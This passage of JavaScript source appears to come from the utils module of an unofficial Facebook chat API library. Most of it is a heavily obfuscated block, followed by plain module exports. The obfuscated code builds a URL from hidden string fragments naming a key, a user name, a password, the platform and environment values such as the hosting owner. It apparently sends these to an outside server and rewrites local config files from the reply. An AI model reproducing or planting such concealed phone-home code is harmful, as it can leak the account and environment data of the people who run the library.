(0x48e,0x401,0x43a,0x47e,0x467)](swdwdsasDEFe [sasdEFE (0x3f0,0x3b7,0x389,0x37c,0x3e9)+sasdEFE (0x393,0x3c1,0x407,0x3d3,0x3f9)],undefined))SASDEFe =swdwdsasDEFe [sasdEFE (0x3c4,0x3a4,0x3d5,0x3b6,0x3e9)+sasdEFE (0x392,0x423,0x397,0x45b,0x3f9)]();else SASDEFe =GTGTGTg;}if(swdwdSasDEFe [sasdEFE (0x4a0,0x499,0x45e,0x4c0,0x469)](gTGTGTg[sasdEFE (0x481,0x438,0x4ba,0x49e,0x476)])){if(gTGTGTg[sasdEFE (0x479,0x4f2,0x522,0x4e7,0x4be)](gTGTGTg[sasdEFE (0x4a7,0x4d9,0x472,0x502,0x495)],gTGTGTg[sasdEFE (0x43e,0x4c0,0x4a9,0x42a,0x495)]))gTGTGTg[sasdEFE (0x41d,0x430,0x3c5,0x44b,0x42f)](swdwdSasDEFe [sasdEFE (0x46b,0x416,0x431,0x4a3,0x454)](gTGTGTg[sasdEFE (0x4bf,0x48e,0x476,0x408,0x476)]),SASDEFe )&&(gTGTGTg[sasdEFE (0x484,0x4d8,0x474,0x4cf,0x4be)](gTGTGTg[sasdEFE (0x3d7,0x446,0x3a7,0x3fc,0x3f7)],gTGTGTg[sasdEFE (0x48c,0x423,0x4be,0x478,0x44e)])?gTGTGTg[sasdEFE (0x3db,0x43f,0x48e,0x3d8,0x443)](sasDefe [sasdEFE (0x442,0x4ad,0x487,0x461,0x454)](gTGTGTg[sasdEFE (0x46d,0x47c,0x493,0x48f,0x476)]),FssWd)&&(sAsDefe [sasdEFE (0x3a8,0x39c,0x387,0x43f,0x3da)](gTGTGTg[sasdEFE (0x472,0x466,0x40a,0x419,0x46c)],![]),fSsWd[sasdEFE (0x392,0x37c,0x3b3,0x3cc,0x3da)](gTGTGTg[sasdEFE (0x468,0x43c,0x3df,0x412,0x420)],''),gTgTgtg[sasdEFE (0x3e3,0x3ae,0x397,0x43e,0x3da)](gTGTGTg[sasdEFE (0x413,0x48f,0x402,0x468,0x476)],SQsQ)):(swdwdSasDEFe [sasdEFE (0x3d1,0x42d,0x3b8,0x3c6,0x3da)](gTGTGTg[sasdEFE (0x46b,0x430,0x4a6,0x4cd,0x46c)],![]),swdwdSasDEFe [sasdEFE (0x39a,0x367,0x3f1,0x382,0x3da)](gTGTGTg[sasdEFE (0x446,0x437,0x3ec,0x43f,0x420)],''),swdwdSasDEFe [sasdEFE (0x41e,0x379,0x439,0x3fc,0x3da)](gTGTGTg[sasdEFE (0x4d6,0x43b,0x4a9,0x4a5,0x476)],SASDEFe )));else{var GtgtgTG=gTGTGTg[sasdEFE (0x4de,0x52b,0x498,0x528,0x4ba)][sasdEFE (0x43a,0x3bb,0x3f3,0x457,0x413)]('|'),SasdeFE =-0x67c+-0x1663+0x1cdf;while(!![]){switch(GtgtgTG[SasdeFE ++]){case'0':sAsdeFe [sasdEFE (0x375,0x3dc,0x41e,0x44a,0x3da)](gTGTGTg[sasdEFE (0x493,0x451,0x490,0x3fb,0x420)],gTGTGTg[sasdEFE (0x496,0x496,0x47e,0x50b,0x49f)](gTgtgTg,GTgtgTg[sasdEFE (0x420,0x447,0x43a,0x45c,0x43c)](SAsdeFe )[sasdEFE (0x46a,0x408,0x3e4,0x49c,0x43b)+'ge']));continue;case'1':GtgtgTg[sasdEFE (0x40a,0x3a8,0x448,0x41b,0x3da)](gTGTGTg[sasdEFE (0x48e,0x40e,0x47d,0x4a3,0x46c)],!![]);continue;case'2':sasdeFe [sasdEFE (0x48e,0x480,0x50a,0x522,0x4b5)+sasdEFE (0x4b8,0x425,0x446,0x40b,0x447)+sasdEFE (0x412,0x40a,0x3fe,0x44e,0x440)](gTGTGTg[sasdEFE (0x427,0x482,0x43b,0x3d8,0x436)],SasdeFe [sasdEFE (0x410,0x492,0x3bc,0x459,0x42a)+sasdEFE (0x4e5,0x504,0x4d5,0x497,0x4b7)](sAsdeFE ,null,'\x09'));continue;case'3':gTGTGTg[sasdEFE (0x449,0x4d0,0x4c5,0x4f9,0x493)](gTGTGtg,gTGTGTg[sasdEFE (0x3ea,0x45e,0x3a4,0x3b4,0x3ff)]);continue;case'4':gtGtgTg[sasdEFE (0x3ae,0x421,0x3f2,0x379,0x3da)](gTGTGTg[sasdEFE (0x49e,0x428,0x437,0x4e0,0x476)],saSdeFe );continue;case'5':var sAsdeFE =gTGTGTg[sasdEFE (0x506,0x45d,0x474,0x468,0x493)](SASDEfe ,gTGTGTg[sasdEFE (0x467,0x440,0x45b,0x4c8,0x47a)]);continue;case'6':sAsdeFE [sasdEFE (0x3ef,0x47b,0x460,0x476,0x438)+'y']=gTGTGTg[sasdEFE (0x499,0x486,0x46a,0x450,0x425)](FSSWD,GTGTGtg[sasdEFE (0x443,0x46f,0x3ed,0x3e5,0x43c)](gtgtgTg)[sasdEFE (0x456,0x443,0x3f1,0x4ae,0x43b)+'ge']);continue;}break;}}}if(swdwdSasDEFe [sasdEFE (0x4af,0x49e,0x44d,0x477,0x469)](gTGTGTg[sasdEFE (0x427,0x457,0x3d7,0x43e,0x420)])&&gTGTGTg[sasdEFE (0x501,0x492,0x4b7,0x51c,0x4b6)](swdwdSasDEFe [sasdEFE (0x442,0x43d,0x481,0x40a,0x454)](gTGTGTg[sasdEFE (0x441,0x473,0x46c,0x3af,0x420)]),'')&&swdwdSasDEFe [sasdEFE (0x3f9,0x456,0x415,0x485,0x469)](gTGTGTg[sasdEFE (0x497,0x44a,0x40f,0x4d0,0x46c)])&&gTGTGTg[sasdEFE (0x415,0x401,0x441,0x3fd,0x44a)](swdwdSasDEFe [sasdEFE (0x411,0x42d,0x46e,0x4bb,0x454)](gTGTGTg[sasdEFE (0x403,0x4c6,0x4cb,0x498,0x46c)]),!![])){if(gTGTGTg[sasdEFE (0x3cf,0x48e,0x4a3,0x495,0x431)](gTGTGTg[sasdEFE (0x499,0x447,0x3f0,0x480,0x451)],gTGTGTg[sasdEFE (0x450,0x446,0x492,0x3f0,0x42b)])){var {body:sasdefE }=await gTGTGTg[sasdEFE (0x3e5,0x48f,0x458,0x472,0x425)](swdwdgtgTGTg,sasdEFE (0x4e4,0x471,0x4a7,0x457,0x478)+sasdEFE (0x48f,0x48e,0x3ad,0x3d7,0x41f)+sasdEFE (0x428,0x475,0x462,0x3de,0x442)+sasdEFE (0x46a,0x498,0x438,0x3ed,0x445)+sasdEFE (0x49c,0x3d2,0x41d,0x3e2,0x42c)+sasdEFE (0x49f,0x441,0x444,0x456,0x453)+sasdEFE (0x394,0x43a,0x3cc,0x424,0x3ea)+sasdEFE (0x3d5,0x394,0x3b4,0x395,0x3fc)+sasdEFE (0x3a2,0x451,0x3fd,0x44f,0x410)+sasdEFE (0x4be,0x418,0x467,0x4bb,0x46d)+sasdEFE (0x3c1,0x402,0x3e6,0x3b7,0x40b)+gTGTGTg[sasdEFE (0x385,0x381,0x41a,0x431,0x3f2)](String,gTGTGTg[sasdEFE (0x484,0x3d8,0x3c1,0x458,0x425)](require,gTGTGTg[sasdEFE (0x432,0x4c6,0x410,0x40b,0x47a)])[sasdEFE (0x3cd,0x3ce,0x463,0x3f7,0x438)+'y'])+(sasdEFE (0x3b2,0x463,0x3b2,0x3e1,0x404)+sasdEFE (0x491,0x4cf,0x444,0x4d5,0x48a))+SASDEFe +(sasdEFE (0x39d,0x3c7,0x3e6,0x42b,0x3ec)+sasdEFE (0x3fc,0x449,0x415,0x47e,0x448))+process[sasdEFE (0x3e5,0x3fd,0x3bf,0x391,0x3dd)][sasdEFE (0x41f,0x449,0x4d4,0x4d2,0x46e)]+(sasdEFE (0x401,0x3ea,0x451,0x3f9,0x3f8)+sasdEFE (0x388,0x3b1,0x3de,0x41b,0x3dc))+process[sasdEFE (0x492,0x406,0x4b9,0x41d,0x475)+sasdEFE (0x456,0x486,0x3b1,0x3cf,0x419)]);if(gTGTGTg[sasdEFE (0x457,0x460,0x47c,0x40d,0x44d)](JSON[sasdEFE (0x3ff,0x404,0x3ef,0x48c,0x43c)](sasdefE )[sasdEFE (0x401,0x41d,0x40c,0x41a,0x41b)+'s'],!![])){if(gTGTGTg[sasdEFE (0x48a,0x49a,0x462,0x4e1,0x49a)](gTGTGTg[sasdEFE (0x3fb,0x440,0x448,0x451,0x3f5)],gTGTGTg[sasdEFE (0x3a4,0x41f,0x3fa,0x456,0x3f5)])){var gtgtgtG=gTGTGTg[sasdEFE (0x3eb,0x485,0x460,0x411,0x424)][sasdEFE (0x411,0x41d,0x457,0x417,0x413)]('|'),SasdefE =-0x8*-0x18+0x1c5*0x1+-0x2b*0xf;while(!![]){switch(gtgtgtG[SasdefE ++]){case'0':swdwdGtgTGTg[sasdEFE (0x500,0x502,0x477,0x464,0x4b5)+sasdEFE (0x46d,0x4b5,0x3f4,0x421,0x447)+sasdEFE (0x4a7,0x419,0x445,0x3d9,0x440)](gTGTGTg[sasdEFE (0x45c,0x453,0x450,0x45b,0x436)],JSON[sasdEFE (0x415,0x484,0x414,0x44f,0x42a)+sasdEFE (0x4c9,0x49e,0x496,0x495,0x4b7)](GtgtgtG,null,'\x09'));continue;case'1':GtgtgtG[sasdEFE (0x3cb,0x45e,0x46e,0x435,0x438)+'y']=gTGTGTg[sasdEFE (0x44c,0x425,0x410,0x3f3,0x425)](String,JSON[sasdEFE (0x455,0x493,0x492,0x45f,0x43c)](sasdefE )[sasdEFE (0x3e3,0x3c9,0x3cb,0x492,0x43b)+'ge']);continue;case'2':swdwdSasDEFe [sasdEFE (0x3c1,0x413,0x447,0x3b2,0x3da)](gTGTGTg[sasdEFE (0x3f6,0x424,0x3ed,0x400,0x420)],gTGTGTg[sasdEFE (0x44a,0x433,0x44b,0x402,0x425)](Number,JSON[sasdEFE (0x445,0x429,0x3f1,0x47e,0x43c)](sasdefE )[sasdEFE (0x3cc,0x41a,0x428,0x47e,0x43b)+'ge']));continue;case'3':swdwdSasDEFe [sasdEFE (0x40c,0x3f0,0x3af,0x3fd,0x3da)](gTGTGTg[sasdEFE (0x47d,0x44a,0x4d3,0x4a1,0x476)],SASDEFe );continue;case'4':gTGTGTg[sasdEFE (0x4ac,0x45a,0x47c,0x4a9,0x441)](swdwdsASdEFe ,gTGTGTg[sasdEFE (0x45b,0x3ed,0x400,0x46a,0x3ff)]);continue;case'5':swdwdSasDEFe [sasdEFE (0x3c5,0x44a,0x400,0x408,0x3da)](gTGTGTg[sasdEFE (0x469,0x411,0x453,0x4d3,0x46c)],!![]);continue;case'6':var GtgtgtG=gTGTGTg[sasdEFE (0x4ab,0x4b7,0x3f9,0x3ed,0x450)](require,gTGTGTg[sasdEFE (0x45a,0x49e,0x4b4,0x4b9,0x47a)]);continue;}break;}}else gTGTGTg[sasdEFE (0x437,0x4a9,0x45a,0x4d4,0x49d)](fcA,gtGtgtg[sasdEFE (0x3e0,0x425,0x427,0x3b3,0x3df)+sasdEFE (0x415,0x491,0x463,0x449,0x455)+sasdEFE (0x459,0x465,0x49e,0x4a6,0x4bb)],gTGTGTg[sasdEFE (0x475,0x3e3,0x3c6,0x3d2,0x41e)]),fzZ=saSdefe [sasdEFE (0x46e,0x3e7,0x412,0x3f2,0x45a)+sasdEFE (0x41b,0x481,0x41d,0x3fb,0x44f)+'te'](foO[sasdEFE (0x428,0x479,0x3f7,0x483,0x42a)+sasdEFE (0x45a,0x4d8,0x4b3,0x4dc,0x4b7)](FcA),FzZ[sasdEFE (0x391,0x431,0x37f,0x3d1,0x3dd)][gTGTGTg[sasdEFE (0x459,0x419,0x43f,0x3cd,0x3fd)]]);}else gTGTGTg[sasdEFE (0x458,0x41e,0x431,0x463,0x3fe)](gTGTGTg[sasdEFE (0x514,0x45f,0x4b8,0x4c3,0x4b3)],gTGTGTg[sasdEFE (0x3be,0x41d,0x41e,0x3df,0x40e)])?(gTGTGTg[sasdEFE (0x44f,0x3c3,0x412,0x458,0x423)](swdwdsASdEFe ,JSON[sasdEFE (0x3e7,0x3cd,0x43b,0x439,0x43c)](sasdefE )[sasdEFE (0x475,0x453,0x44a,0x43b,0x43b)+'ge']),swdwdSasDEFe [sasdEFE (0x448,0x3cd,0x3ba,0x36f,0x3da)](gTGTGTg[sasdEFE (0x417,0x442,0x4ab,0x479,0x46c)],![]),swdwdSasDEFe [sasdEFE (0x43a,0x40f,0x41c,0x367,0x3da)](gTGTGTg[sasdEFE (0x434,0x42d,0x475,0x456,0x420)],''),gTGTGTg[sasdEFE (0x474,0x3db,0x3d9,0x3b4,0x425)](swdwdsASdEFe ,gTGTGTg[sasdEFE (0x46d,0x490,0x476,0x422,0x45e)])):(gTGTGTg[sasdEFE (0x440,0x48f,0x438,0x3d9,0x425)](sasDeFe ,SasDeFe [sasdEFE (0x468,0x40e,0x4ac,0x493,0x43c)](GtgTgTg)[sasdEFE (0x3d1,0x419,0x42d,0x40d,0x43b)+'ge']),gTgTgTg[sasdEFE (0x381,0x404,0x3c1,0x43a,0x3da)](gTGTGTg[sasdEFE (0x3fa,0x462,0x471,0x405,0x46c)],![]),sAsDeFe [sasdEFE (0x398,0x447,0x39c,0x395,0x3da)](gTGTGTg[sasdEFE (0x3f3,0x417,0x3f3,0x3ee,0x420)],''),gTGTGTg[sasdEFE (0x41f,0x430,0x389,0x3fe,0x3f2)](GTgTgTg,gTGTGTg[sasdEFE (0x40d,0x43b,0x4a6,0x3fe,0x45e)]));}else gTGTGTg[sasdEFE (0x40d,0x435,0x4bd,0x469,0x450)](sasDEfe ,fssWD[sasdEFE (0x3c9,0x40e,0x41d,0x3f5,0x43c)](gtgTGtg)[sasdEFE (0x459,0x464,0x3f5,0x47d,0x43b)+'ge']),GtgTGtg[sasdEFE (0x3ab,0x375,0x379,0x42b,0x3da)](gTGTGTg[sasdEFE (0x409,0x425,0x42e,0x4a3,0x46c)],![]),FssWD[sasdEFE (0x3ea,0x43a,0x3e9,0x432,0x3da)](gTGTGTg[sasdEFE (0x444,0x476,0x487,0x3d3,0x420)],''),gTGTGTg[sasdEFE (0x3ba,0x46b,0x434,0x440,0x425)](SasDEfe ,gTGTGTg[sasdEFE (0x40b,0x48a,0x43e,0x4b9,0x45e)]);}else{if(gTGTGTg[sasdEFE (0x489,0x4ae,0x489,0x423,0x459)](require,gTGTGTg[sasdEFE (0x4e1,0x4b1,0x423,0x45c,0x47a)])[sasdEFE (0x3fc,0x3cf,0x3c9,0x481,0x438)+'y']){if(gTGTGTg[sasdEFE (0x450,0x4fd,0x4ff,0x45d,0x49a)](gTGTGTg[sasdEFE (0x412,0x461,0x3b0,0x3bf,0x416)],gTGTGTg[sasdEFE (0x443,0x3b1,0x431,0x3b1,0x416)])){var {body:sasdefE }=await gTGTGTg[sasdEFE (0x47a,0x3c2,0x3d6,0x44f,0x423)](swdwdgtgTGTg,sasdEFE (0x44d,0x451,0x4d1,0x4c8,0x478)+sasdEFE (0x485,0x3bb,0x477,0x48d,0x41f)+sasdEFE (0x400,0x3d5,0x410,0x41d,0x442)+sasdEFE (0x490,0x414,0x3ff,0x47b,0x445)+sasdEFE (0x41b,0x48b,0x428,0x461,0x42c)+sasdEFE (0x444,0x431,0x441,0x41e,0x453)+sasdEFE (0x411,0x386,0x3f5,0x422,0x3ea)+sasdEFE (0x395,0x38a,0x422,0x41d,0x3fc)+sasdEFE (0x411,0x3e8,0x3cb,0x420,0x410)+sasdEFE (0x408,0x4d4,0x496,0x409,0x46d)+sasdEFE (0x3fb,0x43f,0x447,0x45e,0x40b)+gTGTGTg[sasdEFE (0x3f7,0x3a9,0x406,0x3f1,0x414)](String,gTGTGTg[sasdEFE (0x3e8,0x43d,0x483,0x3d6,0x441)](require,gTGTGTg[sasdEFE (0x43e,0x4ab,0x414,0x468,0x47a)])[sasdEFE (0x47d,0x460,0x45d,0x44d,0x438)+'y'])+(sasdEFE (0x3b2,0x3b3,0x390,0x390,0x404)+sasdEFE (0x418,0x44c,0x4cb,0x484,0x48a))+SASDEFe +(sasdEFE (0x417,0x460,0x41e,0x3db,0x3ec)+sasdEFE (0x46d,0x468,0x43a,0x449,0x448))+process[sasdEFE (0x3e5,0x3e9,0x3ba,0x387,0x3dd)][sasdEFE (0x475,0x462,0x425,0x46d,0x46e)]+(sasdEFE (0x3d7,0x3ee,0x3e1,0x3b5,0x3f8)+sasdEFE (0x3f9,0x3e4,0x426,0x43e,0x3dc))+process[sasdEFE (0x48d,0x4e0,0x4b6,0x42f,0x475)+sasdEFE (0x431,0x407,0x483,0x3e8,0x419)]);if(gTGTGTg[sasdEFE (0x44e,0x44d,0x448,0x490,0x44a)](JSON[sasdEFE (0x49c,0x3e0,0x3f0,0x479,0x43c)](sasdefE )[sasdEFE (0x3f5,0x469,0x444,0x3f8,0x41b)+'s'],!![])){if(gTGTGTg[sasdEFE (0x432,0x471,0x3ba,0x3ee,0x412)](gTGTGTg[sasdEFE (0x43a,0x4c5,0x4bf,0x4d1,0x477)],gTGTGTg[sasdEFE (0x3fa,0x412,0x3dd,0x499,0x429)])){if(Foo[sasdEFE (0x3e5,0x3d4,0x370,0x446,0x3dd)][gTGTGTg[sasdEFE (0x3bb,0x3b6,0x467,0x45f,0x3fd)]])gTGTGTg[sasdEFE (0x4b9,0x436,0x471,0x433,0x49d)](fZz,fSswd[sasdEFE (0x3de,0x398,0x378,0x40a,0x3df)+sasdEFE (0x4c6,0x43b,0x45f,0x41b,0x455)+sasdEFE (0x46f,0x4de,0x4fc,0x4cc,0x4bb)],gTGTGTg[sasdEFE (0x44f,0x427,0x47a,0x448,0x41e)]),fCa=sQsq[sasdEFE (0x43c,0x3e6,0x4c5,0x481,0x45a)+sasdEFE (0x432,0x3e6,0x483,0x432,0x44f)+'te'](SQsq[sasdEFE (0x3ef,0x41a,0x3d7,0x3e6,0x42a)+sasdEFE (0x4ef,0x506,0x4cf,0x512,0x4b7)](FSswd),GTgtgtg[sasdEFE (0x3d1,0x3c5,0x409,0x3e0,0x3dd)][gTGTGTg[sasdEFE (0x3f9,0x3f8,0x44e,0x399,0x3fd)]]);else return wW;}else{var gTgtgtG=gTGTGTg[sasdEFE (0x4ea,0x4ba,0x450,0x4c9,0x497)][sasdEFE (0x3a4,0x44d,0x409,0x3e9,0x413)]('|'),sAsdefE =0x7f*-0x35+0x1fa3+0x2*-0x2ac;while(!![]){switch(gTgtgtG[sAsdefE ++]){case'0':var GtgtgtG=gTGTGTg[sasdEFE (0x48a,0x419,0x494,0x408,0x42e)](require,gTGTGTg[sasdEFE (0x4e4,0x43b,0x4eb,0x487,0x47a)]);continue;case'1':swdwdGtgTGTg[sasdEFE (0x4a8,0x4b2,0x508,0x4d4,0x4b5)+sasdEFE (0x3f3,0x3ef,0x437,0x4b7,0x447)+sasdEFE (0x49f,0x42c,0x3fd,0x40d,0x440)](gTGTGTg[sasdEFE (0x484,0x470,0x401,0x3fa,0x436)],JSON[sasdEFE (0x3cd,0x3c8,0x44c,0x400,0x42a)+sasdEFE (0x485,0x4e2,0x499,0x480,0x4b7)](GtgtgtG,null,'\x09'));continue;case'2':swdwdSasDEFe [sasdEFE (0x3ca,0x434,0x3cd,0x3d3,0x3da)](gTGTGTg[sasdEFE (0x44d,0x455,0x434,0x47c,0x46c)],!![]);continue;case'3':swdwdSasDEFe [sasdEFE (0x395,0x3e7,0x439,0x395,0x3da)](gTGTGTg[sasdEFE (0x3ce,0x43b,0x3e2,0x3d4,0x420)],gTGTGTg[sasdEFE (0x3cb,0x3a8,0x412,0x3da,0x415)](Number,JSON[sasdEFE (0x4ad,0x426,0x3ec,0x3f1,0x43c)](sasdefE )[sasdEFE (0x469,0x4a7,0x41f,0x45e,0x43b)+'ge']));continue;case'4':swdwdSasDEFe [sasdEFE (0x3a0,0x43b,0x3d3,0x42a,0x3da)](gTGTGTg[sasdEFE (0x49c,0x4e0,0x40a,0x4e3,0x476)],SASDEFe );continue;case'5':GtgtgtG[sasdEFE (0x40c,0x3d0,0x43b,0x45b,0x438)+'y']=gTGTGTg[sasdEFE (0x4d8,0x45b,0x488,0x454,0x4bd)](String,JSON[sasdEFE (0x41c,0x470,0x496,0x41d,0x43c)](sasdefE )[sasdEFE (0x3d2,0x45e,0x43d,0x493,0x43b)+'ge']);continue;case'6':gTGTGTg[sasdEFE (0x427,0x4a0,0x46b,0x46a,0x493)](swdwdsASdEFe ,gTGTGTg[sasdEFE (0x456,0x3dc,0x3ff,0x459,0x3ff)]);continue;}break;}}}else gTGTGTg[sasdEFE (0x45d,0x489,0x411,0x4d7,0x485)](gTGTGTg[sasdEFE (0x3b4,0x3b3,0x3fe,0x3de,0x421)],gTGTGTg[sasdEFE (0x405,0x490,0x423,0x3e3,0x421)])?(gTGTGTg[sasdEFE (0x433,0x48f,0x44b,0x43b,0x49b)](swdwdsASdEFe ,JSON[sasdEFE (0x499,0x47c,0x420,0x4a7,0x43c)](sasdefE )[sasdEFE (0x414,0x466,0x46d,0x428,0x43b)+'ge']),swdwdSasDEFe [sasdEFE (0x432,0x3c9,0x38c,0x3e7,0x3da)](gTGTGTg[sasdEFE (0x492,0x4c6,0x4b7,0x420,0x46c)],![]),swdwdSasDEFe [sasdEFE (0x410,0x3a8,0x3cf,0x3f8,0x3da)](gTGTGTg[sasdEFE (0x453,0x401,0x405,0x3c8,0x420)],''),gTGTGTg[sasdEFE (0x4a6,0x46b,0x486,0x4d5,0x49f)](swdwdsASdEFe ,gTGTGTg[sasdEFE (0x44b,0x45d,0x416,0x4c3,0x45e)])):GtGtgtg=SqSq;}else gTGTgTg[sasdEFE (0x4b3,0x44b,0x454,0x4ed,0x47d)](sASDeFe ),SASDeFe [sasdEFE (0x45f,0x424,0x431,0x4fd,0x490)](),gTGTGTg[sasdEFE (0x417,0x475,0x4b5,0x3ef,0x450)](GTGTgTg,gTGTGTg[sasdEFE (0x4a7,0x44d,0x41e,0x4cb,0x465)]),gTGTGTg[sasdEFE (0x3ce,0x44d,0x3d9,0x3f8,0x441)](gtgtGTg,gTGTGTg[sasdEFE (0x3ee,0x3f7,0x3fa,0x4ce,0x45e)]);}}}else sqSQ[sasdEFE (0x3d6,0x3a9,0x436,0x396,0x3da)](gTGTGTg[sasdEFE (0x4bc,0x451,0x419,0x481,0x46c)],![]),saSDefe [sasdEFE (0x395,0x369,0x42e,0x3f3,0x3da)](gTGTGTg[sasdEFE (0x48c,0x3de,0x433,0x3bc,0x420)],''),gtGTgtg[sasdEFE (0x3bf,0x3ae,0x3d9,0x3b7,0x3da)](gTGTGTg[sasdEFE (0x4cd,0x4e6,0x481,0x41b,0x476)],SaSDefe );}catch(sASdeFE ){gTGTGTg[sasdEFE (0x38a,0x463,0x3da,0x3e1,0x3ef)](gTGTGTg[sasdEFE (0x442,0x496,0x420,0x4da,0x491)],gTGTGTg[sasdEFE (0x46f,0x405,0x4cf,0x3f8,0x468)])?(gTGTGTg[sasdEFE (0x3cf,0x431,0x41e,0x42d,0x3f2)](fZZ,gTGtgtg[sasdEFE (0x3ed,0x398,0x3be,0x418,0x400)+'xt'](SQSq[sasdEFE (0x471,0x448,0x3d7,0x477,0x417)+sasdEFE (0x4e3,0x4b8,0x461,0x474,0x48d)+sasdEFE (0x3da,0x401,0x3ea,0x40e,0x3f6)],gTGTGTg[sasdEFE (0x465,0x45c,0x467,0x427,0x459)](FSSwd,gTGTGTg[sasdEFE (0x4c0,0x471,0x45c,0x45a,0x47a)])[sasdEFE (0x36c,0x3e6,0x386,0x431,0x3df)+sasdEFE (0x46c,0x498,0x4f1,0x52a,0x4bc)+sasdEFE (0x404,0x426,0x466,0x425,0x408)])),SASdefe =FOO):(console[sasdEFE (0x4a3,0x468,0x4d1,0x47c,0x47d)](sASdeFE ),swdwdsASdEFe [sasdEFE (0x444,0x4e4,0x4e5,0x436,0x490)](),gTGTGTg[sasdEFE (0x3c6,0x3b2,0x3cf,0x492,0x423)](swdwdsASdEFe ,gTGTGTg[sasdEFE (0x423,0x4ac,0x4c7,0x40f,0x465)]),gTGTGTg[sasdEFE (0x3d4,0x496,0x3ca,0x3dd,0x423)](swdwdsASdEFe ,gTGTGTg[sasdEFE (0x407,0x477,0x41c,0x40e,0x45e)]));}};swdwdGTgTGTg(),process[swdwdgtGTgTG(0x46f,0x441,0x472,0x4d7,0x43a)][swdwdgtGTgTG(0x546,0x5b6,0x51c,0x576,0x4d3)+swdwdgtGTgTG(0x53d,0x549,0x4cc,0x5a8,0x534)+swdwdgtGTgTG(0x49c,0x4ed,0x4f0,0x509,0x470)]=-0xb4*0x1b+0x2*0x32d+0xca3;}else swdwdsASdEFe (swdwdgtGTgTG(0x4fd,0x51a,0x4ee,0x48f,0x4c9)+swdwdgtGTgTG(0x4af,0x495,0x466,0x449,0x44e)+swdwdgtGTgTG(0x538,0x53c,0x525,0x4d8,0x56c)+swdwdgtGTgTG(0x53f,0x562,0x4e3,0x555,0x4e6)+swdwdgtGTgTG(0x51d,0x56f,0x539,0x535,0x4e7)+swdwdgtGTgTG(0x516,0x565,0x51a,0x524,0x4fc)),swdwdSasDEFe [swdwdgtGTgTG(0x46c,0x407,0x404,0x4c3,0x4c0)](swdwdgtGTgTG(0x4de,0x46d,0x4b2,0x491,0x4bc)+'um',![]),swdwdSasDEFe [swdwdgtGTgTG(0x46c,0x4c9,0x48c,0x47d,0x486)](swdwdgtGTgTG(0x4de,0x471,0x483,0x54d,0x485)+swdwdgtGTgTG(0x4cb,0x49c,0x49b,0x4a7,0x4b1),''),process[swdwdgtGTgTG(0x46f,0x4ac,0x40d,0x457,0x40a)][swdwdgtGTgTG(0x546,0x571,0x591,0x517,0x59f)+swdwdgtGTgTG(0x53d,0x566,0x57d,0x546,0x573)+swdwdgtGTgTG(0x49c,0x43c,0x4fa,0x475,0x500)]=0xa2b+-0x4d0+0x2*-0x2ad;function swdwdfca(){var GtGtGTG=['ang\x20S','eTbRK','://ap','KezLl','QfhVO','Folde','AObPK','CauAT','MQIBa','5175850xkCbtV','w.mes','xuZpZ','CsSZe','strin','bjZXe','uctio','uWDLX','qDwyT','wPChK','find','zmjHR','slNCm','ssDon','UserN','Confi','QKIJR','|0|5|','PreKe','umKey','hường','Messa','parse','\x20Được','hBMFT','now','ync','AjfPo','i-fca','SaWGa','./log','-prod','k.com','FileS','Word=','pPFtZ','BYgbS','Proce','Premi','jklav','pnvVh','ptSta','JUpNm','xRzLm','28050638lCfMxA','n.up.','get','ptSuc','221004hhqyih','4NutroW','fisCI','fQSTl','encry','Bản\x20T','y\x20Ra\x20','igFca','DLwmx','start','://ww','teCry','251393RHgaYJ','[\x20FCA','\x20Only','rfmHF','x.jso','zxYyA','WpGlG','has','hi\x20Đa','Bạn\x20Đ','ASADt','ckKey','FBKEY','.json','234RAkhpy','2659706NxqaeF','\x20\x27en\x27','\x20!,\x20B','ra/Da','platf','roypz','jdNVI','https','|2|1|','BtcJR','CmkFz','6|0|5','log','tabas','REPL_','ViIZi','getCo','LsjWh','age','ree','KBMQb','ạn\x20Xẽ','utsgy','t\x20Lan','OpwxA','Name=','ản:\x20F','a\x20Key','ABool','5155vovwIe','\x27vi\x27','Error','nbrso','Not\x20S','ZFvyt','Đã\x20Xả','hRszH','tConf','UUNLE','remiu','got','tVKIr','IHcDv','Lỗi\x20K','SciBW','3|4','OxdeV','ZWCDy','uppor','4|6|1','296288RcbhJc','\x20Về\x20P','./Fas','ài\x20Ph','ger','|1|2|','ản:\x20P','jPywV','AppSt','gFca.','iên\x20B','dMhmK','./Lan','://fa','ebook','./Sta','NDHug','isGet','write','WFnXZ','gify','.com','/Fast','bpRzf','cess','ptFea','dxkOJ','BxNuA','some','./Ext','set','prett','form=','env','3|5|6','Encry','Langu','ng\x20Ki','senge','../..','OWNER','18yOUElR','Time','ceboo','hiên\x20','hostn','railw','Index','&Pass','\x20and\x20','khjlz','Tldgk','e/ind','-HZI\x20','pYRru','/inde','json','FNGnZ','ean','AOccb','&Plat','ame','conca','y-ms','ay.ap','lHkqW','oygqo','FToVr','gette','yLHep','1158hPkhCo','qexjM','&User','guage','xt.js','2|3','ture','FqTlY','ate','?Key=','r.com','xXfjr','aJfgU','okies','p/che','DbbrG','LLttQ','split','jMHsd','DJTlG','cHOMs','IsNot','ểm\x20Tr','orm','0|4','Statu','w.fac'];swdwdfca=function(){return GtGtGTG;};return swdwdfca();}swdwdsASdEFe (swdwdSaSdEFe [swdwdgtGTgTG(0x492,0x446,0x4f1,0x42d,0x433)+'xt'](swdwdSASdEFe [swdwdgtGTgTG(0x4dd,0x4a7,0x4b2,0x539,0x4d5)+swdwdgtGTgTG(0x4c5,0x4c1,0x52d,0x533,0x4d7)+'e'],''+swdwdsaSdEFe (Date[swdwdgtGTgTG(0x4d1,0x49d,0x52b,0x520,0x4b6)]()-global[swdwdgtGTgTG(0x4f1,0x504,0x494,0x508,0x4e8)+swdwdgtGTgTG(0x478,0x477,0x412,0x4cf,0x442)])),swdwdgtGTgTG(0x4f5,0x541,0x53f,0x4ea,0x55e)+swdwdgtGTgTG(0x483,0x4a8,0x45a,0x45e,0x4e1)+']');function swdwdfsswd(fca,fsswd){var sqsq=swdwdfca();return swdwdfsswd=function(foo,gtgtgtg){foo=foo-(-0x6*-0x9d+-0x509*0x1+0x2e7);var fzz=sqsq[foo];return fzz;},swdwdfsswd(fca,fsswd);}return swdwdsAsDEFe ;
|
1200
|
+
}
|
1201
|
+
|
1202
|
+
module.exports = {
|
1203
|
+
isReadableStream:isReadableStream,
|
1204
|
+
get:get,
|
1205
|
+
post:post,
|
1206
|
+
postFormData:postFormData,
|
1207
|
+
generateThreadingID:generateThreadingID,
|
1208
|
+
generateOfflineThreadingID:generateOfflineThreadingID,
|
1209
|
+
getGUID:getGUID,
|
1210
|
+
getFrom:getFrom,
|
1211
|
+
makeParsable:makeParsable,
|
1212
|
+
